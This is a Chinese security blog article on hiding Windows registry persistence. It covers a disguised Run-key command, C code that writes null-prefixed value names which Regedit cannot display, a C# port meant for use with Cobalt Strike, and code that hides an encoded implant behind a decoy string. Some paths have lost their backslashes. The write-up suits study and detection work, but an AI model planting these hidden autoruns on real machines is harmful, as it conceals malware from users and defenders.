权限维持——注册表

阅读量1031618

|

发布时间 : 2019-11-07 16:00:05

 

文章中,所涉及的知识点,均可在互联网中可找到,之所以写这篇文章,是因为在预览这些知识点时,有不懂的地方,将其进行补全,整理成符合个人阅读习惯的文章。

 

0x00 前言

本文是讨论针对 Windows 注册表编辑器(Regedit)进行攻击测试的两个例子。这两个测试,是使用 WIndows Native API 对注册表进行创建修改删除等操作,这些操作,单纯的使用 Regedit 查询是查询不到的。

就对这些 “看不见” 的注册表 进行讨论:

  • 常规的注册表驻守;
  • ”隐藏“ 的注册表驻守;

 

0x01 常规持久性技术

最常见的是对注册表的自启动项进行添加修改,注册表位置如下:

HKEY_CURRENT_USER(HKEY_LOCAL_MACHINE)SoftwareMicrosoftWindowsCurrentVersionRun

常用命令:

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v WindowsUpdate /t REG_SZ /d "C:WindowsTempMicrosoft.exe arg1 arg2" /f

修改完成后,当 Windows 用户登陆 (HKEY_CURRENT_USER 或 HKEY_LOCAL_MACHINE) 时,会运行此键值。所以,将可执行文件路径添加到此 Run 键后,文件在系统重启后将被执行。

因为此键值是最常见的,所以也是大多数的安全厂商的重点关注对象,大多数的安全厂家都能够做到禁止添加异常扫描

当进行 rootkit 排查时,先查看此注册表键值的内容,可以非常简单的可获取恶意的可执行文件的位置。

 

0x02 相关 API

我们接下来查看相关 API :

  • RegOpenKeyExA – 打开指定的注册表项;
  • NtSetValueKey – 创建或替换注册表键值项;
  • ZwQueryValueKey – 读取注册表键值;
  • NtDeleteValueKey – 删除注册表键值;
  • RegCloseKey – 关闭指定注册表项的句柄。

如果使用 Native API ,则需要导入 ntdll.dll

如果使用 Win32 API ,则需要导入 advapi32.dll

2.1、RegOpenKeyExA

打开指定的注册表项。请注意,键名不区分大小写。要对键执行事务处理的注册表操作,请调用 RegOpenKeyTransacted 函数。

函数原型:

需要5个参数,我们只需要关注几个:

  • hKey:打开的注册表项的句柄;
  • lpSubKey:要打开的注册表子项的名称;
  • phkResult:指向变量的指针,该变量接收打开的键的句柄。

如果成功打开,则返回 ERROR_SUCCESS

2.2、NtSetValueKey

此函数用于创建或替换注册表键值项,函数原型为:

需要 6 个参数,我们只需要关注几个:

  • KeyHandle:处理注册表项以为其写入值条目。该句柄是通过成功调用ZwCreateKeyZwOpenKey创建的
  • ValueName:指向要为其写入数据的值条目的名称的指针。
  • Data:指向包含值条目数据的调用者分配的缓冲区的指针。

2.3、ZwQueryValueKey

该函数读取注册表键值。其原型为:

需要 6 个参数,我们只需要关注几个:

  • KeyHandle:处理要从中读取值条目的键。该句柄是通过成功调用ZwCreateKeyZwOpenKey创建的
  • ValueName:指向要获取其数据的值条目名称的指针。
  • KeyValueInformationClass:类型。
  • ResultLength:指向一个变量的指针,该变量接收 Key 信息的大小(以字节为单位)。

成功返回 STATUS_SUCCESS失败则返回相应的错误代码。

注意: 如果在用户模式下调用此函数,则应使用名称“ NtQueryValueKey ”而不是 “ZwQueryValueKey ”。

 

0x03 隐藏的注册表

本小节是利用了 Regedit 的缺陷,创建了一个特殊的注册表项。由于这个特殊处理隐藏的注册表是使用 WIndows Native API进行的创建、删除,所以单纯的使用 Regedit 是查询不到的。这里并不是说用 API 进行创建就查询不到,而是这个特殊处理的注册表使用 Regedit 查询不到。

Ps:Win32 API 和 Native API 是有差别的。 以下内容是可实现隐藏注册表的根本原因:

在 Win32 API中,以 NULL结尾的字符串被解释为 ANSI(8位)或宽字符(16位)字符串。
在 Native API中,以 NULL结尾的字符串被解释为 Unicode(16位)字符串。

尽管平时这个区别并不重要,但是却带来了一个有趣的情况,举个例子:
    当使用 Native API来构造特别的名称时,不能使用 Win32 API来对其进行查询。这是因为作为计数的 Unicode 字符串的名称可以包含 NULL 字符(0),例如 “key”,这个 Unicode 字符串长度为 4,但是在使用 Win32 API 来进行查询,这是因为在 Win32 API 中,“key”字符串的长度为 3,不满足查询条件。

之所以 Regedit 看不到,是因为 Regedit 使用的是 Win32 API

3.1、特殊的 ValueName

我们的注册表键值名称经过特殊构造: 以空字符 ”” 作为开头,后面加上任意字符。对于 Windows 系统,”” (0x0000)会被识别为字符串的结束符,所以在使用 Regedit 对该字符串读取的过程中,遇到开头的 ””,会被解析成结束符,提前截断,导致读取错误。

这个写入的值,在 Regedit 中是无法正常显示,但是在 Windows 系统重新启动时,它会正常执行。这涉及到内核调用机制,不在本文讨论范围内,简单过一下:

用户模式调用本机系统服务是通过 ntdll.dll 来实现的。
表面上,Win32 函数为编程人员提供了大量的 API 接口来实现功能,但这些 Win32 函数只不过是一个 API接口的容器而已,它将 Native API 包装起来,通过系统服务来实现真正的功能,也就是 ntdll.dll 是系统调用接口在用户模式下一个外壳。

所以不影响执行。来看看实现代码:

// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
    LSTATUS openRet = 0;
    NTSTATUS setRet = 0;
    HKEY hkResult = NULL; 
    UNICODE_STRING ValueName = { 0 };
    wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
    wchar_t runkeyPath_trick[0x100] = L"Run";

    HMODULE hNtdll = LoadLibraryA("ntdll.dll");
    NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");

    ValueName.Buffer = runkeyPath_trick; 
    ValueName.Length = 2 * HIDDEN_KEY_LENGTH; 
    ValueName.MaximumLength = 0;

    if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
        if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2))){
            printf("SUCCESS setting hidden run value!n");
        }else{
            printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)n", setRet, GetLastError()); RegCloseKey(hkResult);
        }
    } 
    else {
        printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)n", openRet, GetLastError()); 
    }
}

void deleteHiddenRunKey() {
    UNICODE_STRING ValueName = { 0 };
    wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
    wchar_t runkeyPath_trick[0x100] = L"Run";

    HMODULE hNtdll = LoadLibraryA("ntdll.dll");
    NtDeleteValueKey = (_NtDeleteValueKey)GetProcAddress(hNtdll, "NtDeleteValueKey");

    ValueName.Buffer = runkeyPath_trick;
    ValueName.Length = 2 * HIDDEN_KEY_LENGTH; //this value doesn't matter as long as it is non-zero
    ValueName.MaximumLength = 0;

    HKEY hkResult = NULL;
    if (!RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult)) {
        if (!NtDeleteValueKey(hkResult, &ValueName)) {
            printf("SUCCESS deleting hidden run value in registry!n");
        }
        RegCloseKey(hkResult);
    }
}

先看看 createHiddenRunKey

  • 首先是打开 HKEY_CURRENT_USER + runkeyPath 的句柄;
  • 将句柄传递给NtSetValueKey ,而NtSetValueKey传递的是 UNICODE_STRING ValueName
  • ValueName.Buffer 正常情况下是设置为: Run
  • 但是我们这里在前面加了一个或多个空值WCHAR("") ,构造特殊的注册表;
  • 所以 ValueName.Buffer 应该是设置为:Run

deleteHiddenRunKey 就更加简单了

  • 调用 NtDeleteValueKey 将指定键值删除。

编译运行。

HiddenRunKey.exe action=create keyvalue="C:WindowsSystem32calc.exe"

打开注册表进行对此键值进行查询时,则会弹窗提示错误。

点击确定后,内容还是之前的,新添加的内容已经成功隐藏。如果使用导出功能,也是提示错误。

同样,点击确定之后,导出的内容没有刚刚添加的内容。至此,添加的注册表已经成功隐藏,就 看不见 了。重启起效。

当然,期间也会出现一些小问题,比如有时候添加的注册表无法使用NtDeleteValueKey 进行删除,也懒得查找原因了,直接删除 Run(这个表项删除后会自建)。

最后,为了方便配合 Cobalt Strike使用,用 C# 重写以上代码(此重写代码多数取之 SharpHide – 之所以只是多数,是因为我在测试时,发现无论创建什么键值,都会提示错误),但是到 NtQueryValueKey 就中断了,因各种调试出错,而且当前互联网中几乎没找到有关于它的任何信息,唯一可借鉴的地方是 NtQueryValueKey.ps1。(希望有人能将下面的代码补全)

[DllImport("ntdll.dll")]
static extern int NtQueryValueKey(
    UIntPtr KeyHandle,
      IntPtr ValueName,
     KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
      IntPtr KeyValueInformation,
     UInt32 length,
     out UInt32 ResultLength
);

[StructLayout(LayoutKind.Sequential)]
public struct KEY_VALUE_FULL_INFORMATION
{
    public UInt32 TitleIndex;
    public UInt32 Type;
    public UInt32 DataOffset;
    public UInt32 DataLength;
    public UInt32 NameLength;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
    public char[] Name;
}

Status = NtQueryValueKey(regKeyHandle, ValueNamePtr, KeyValueFullInformation, 0, keyBuffer, out keyBuffer);

效果图:

3.2、特殊的 ValueData

第一种隐藏技术,是针对 ValueName 做的处理。本小节使用的是 Fileless Malware 技术,是有效的针对ValueData 的内容进行处理。

这里使用的是 Fileless Malware 技术,但是在查看键值时,也会像第一种技术一样会提示错误,但是除了指定的可见字符外,会将其他内容进行隐藏。与第一种技术一致,该内容无法导出。

// this writes the binary buffer of the encoded implant to the registry as a sting
// according to winnt.h, REG_SZ is "Unicode nul terminated string"
// When the value is exported, only part of the value will actually be exported.

char decoy[] = "(value not set)";


....

void writeHiddenBuf(char *buf, DWORD buflen, const char *decoy, char *keyName, const char* valueName) {
    HKEY hkResult = NULL;
    BYTE *buf2 = (BYTE*)malloc(buflen + strlen(decoy) + 1);
    strcpy((char*)buf2, decoy);
    buf2[strlen(decoy)] = 0;
    memcpy(buf2 + strlen(decoy) + 1, buf, buflen);

    if (!RegOpenKeyExA(HKEY_CURRENT_USER, keyName, 0, KEY_SET_VALUE, &hkResult))
    {
        printf("Key opened!n");
        LSTATUS lStatus = RegSetValueExA(hkResult, valueName, 0, REG_SZ, (const BYTE *)buf2, buflen + strlen(decoy) + 1);
        printf("lStatus == %dn", lStatus);
        RegCloseKey(hkResult);
    }
    free(buf2);
}

void readHiddenBuf(BYTE **buf, DWORD *buflen, const char *decoy, char * keyName, const char* valueName) {
    HKEY hkResult = NULL;
    LONG nError = RegOpenKeyExA(HKEY_CURRENT_USER, keyName, NULL, KEY_ALL_ACCESS, &hkResult);
    RegQueryValueExA(hkResult, valueName, NULL, NULL, NULL, buflen);
    *buf = (BYTE*)malloc(*buflen);
    RegQueryValueExA(hkResult, valueName, NULL, NULL, *buf, buflen);
    RegCloseKey(hkResult);
    *buflen -= (strlen(decoy) + 1);
    BYTE *buf2 = (BYTE*)malloc(*buflen);
    memcpy(buf2, *buf + strlen(decoy) + 1, *buflen);
    free(*buf);
    *buf = buf2;
}

先看看 writeHiddenBuf

  • decoy 设置成 (value not set)
  • 然后将我们利用Fileless Malware 处理过的 buffer 放在 (value not set)后面
  • 通过 3.1 小节 可知,Regedit 会自动截断,达到隐藏的效果​

只要 RegSetValueExA 传递的 decoy 字符串的长度+隐藏缓冲区的长度,它将把整个缓冲区写入注册表,达到隐藏效果。

 

0x04 参考

InvisibleRegValues_Whitepaper.pdf

渗透技巧——“隐藏”注册表的创建

Hiding Registry keys with PSReflec

SharpHide

Hidden Registry Keys

本文由RcoIl原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/189356

安全客 - 有思想的安全新媒体

分享到:微信
+19赞
收藏
RcoIl
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66